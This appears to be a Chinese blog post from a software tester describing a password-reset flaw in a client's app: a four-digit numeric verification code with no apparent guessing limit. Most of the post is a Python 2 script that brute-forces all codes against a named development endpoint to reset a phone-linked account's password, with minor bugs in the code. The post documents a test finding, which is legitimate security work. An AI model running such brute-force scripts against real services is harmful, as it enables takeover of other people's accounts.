【安全/自动化测试】编写如何获取验证码并成功修改客户密码的一个案例

  这是一个很老的案例,是在我测试的时候发现客户端在对密码修改的有一个安全上的逻辑问题:验证码4位并都是数字。当时他们都不相信,于是我用自己写的一个自动化脚本说服了他们。

import urllib
import urllib2

class passParameters():                            #该方法实现 请求数据并返回从服务端应答结果
    def __init__(self,url,data,requestType):
        self.url = url
        self.data = data
        self.requestType = requestType 
    
    def parementerUrl(self):
        dataencode = urllib.urlencode(self.data)    
        if requestType==0:                    #判断状态是get还是post     get状态为1,post状态为0
            request = urllib2.Request(self.url,dataencode)    #服务端请求
        elif requestType==1:
            getUrl =self.url+"?"+data
             request = urllib2.Request(getUrl)        #提交数据,向服务端请求

        repronse = urllib2.urlopen(request)            #获取从服务端应答的内容
        #return repronse.getcode()
        return repronse.read().decode('utf-8').encode('gbk')    #打印应答内容



if __name__=="__main__":
    url = ""                        #初始化参数,url、data(用来存储参数)、requestType(判断get和post状态)
    data = {}

    requestType = 0
    #0 post 1 get
    stop = 0
    #0 start 1 stop
    data['token'] = "42ACB533C647CFF7536E22CAAE7C0FF5"    #自定义参数
    data['appId'] = "TYJ"
    data['mobile']="18222222222"
    data['verifyCode']="1234"
    data['password']="4bc35157786f134eeda18796ccdc00ca1302e7090efd0de35d1722bf416f6bd33c9fecd321dd062669d0009ea55f8c035150c90df3df500a8a744574786c06cd67843d81b284da6c9d90afcf9697391725b5c93014b6ee2c29d5424c8e159b7d2c71c021aeec93addf2db521e53547be46df664ad93562d8f103e6a13ce7a528"
    url = "http://tyj-dev2.silijiren.info/home/login/forgetPassword/save.json "
    
    #s = u"恭喜您重置密码成功"    

    for values in range(0,10000):                #遍历从0000到9999这一万个验证码
        values = values+1
        if values <10:
            data['verifyCode']="000"+str(values)
        elif values <100:
            data['verifyCode']="00"+str(values)
        elif values <1000:
            data['verifyCode']="0"+str(values)
        elif values <10000:
            data['verifyCode']=str(values)

        content = passParameters(url,data,requestType).parementerUrl()  #使用我们的自定义方法请求获取应答结果
        #if content.find(s) == 0:
            #//print passParameters(url,data,requestType).parementerUrl()
            #//print values
            #//break
        print content                    #输出结果
        print values                    #跟踪

 

posted @ 2019-06-10 15:56  Xiao世  阅读(87)  评论(0编辑  收藏  举报